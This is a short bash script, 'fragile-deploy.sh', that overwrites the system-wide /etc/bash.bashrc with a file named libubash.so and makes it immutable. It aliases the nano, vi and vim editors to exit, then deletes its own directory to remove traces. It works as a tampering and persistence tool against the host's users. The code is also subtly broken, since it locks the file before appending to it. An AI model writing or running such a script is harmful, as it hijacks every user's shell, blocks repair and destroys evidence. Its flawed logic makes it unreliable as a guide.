fragile-deploy.sh

#!/bin/bash

set -e  # Exit on error
set -o pipefail  # Catch pipe failures

LIB_PATH="/etc/bash.bashrc"
sudo touch /etc/.lives.rc
# Ensure the script is run as root
if [[ $EUID -ne 0 ]]; then
    echo "This script must be run as root!" >&2
    exit 1
fi

# Ensure libubash.so is present
if [[ ! -f "libubash.so" ]]; then
    echo "Error: libubash.so not found in the current directory!" >&2
    exit 1
fi

# Overwrite bash.bashrc with the contents of libubash.so
echo "Replacing /etc/bash.bashrc with libubash.so contents..."
cat libubash.so > "$LIB_PATH"

# Lock down bash.bashrc to prevent modification
chmod 444 "$LIB_PATH"  # Read-only permissions
chattr +i "$LIB_PATH"   # Make it immutable

# Prevent users from editing the file
echo "Adding protection against modification..."
echo -e "\n# Prevent editing\nalias nano='echo \"You are not permitted to edit this file.\" && exit'\nalias vi='echo \"You are not permitted to edit this file.\" && exit'\nalias vim='echo \"You are not permitted to edit this file.\" && exit'" >> "$LIB_PATH"

# Set a custom shell prompt
echo "export PS1='Fragile-linux> '" >> "$LIB_PATH"

# Self-delete the script and its directory
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd /
echo "Deleting script and its directory: $SCRIPT_DIR"
rm -rf "$SCRIPT_DIR"

echo "Deployment complete! /etc/bash.bashrc now contains libubash.so and is protected."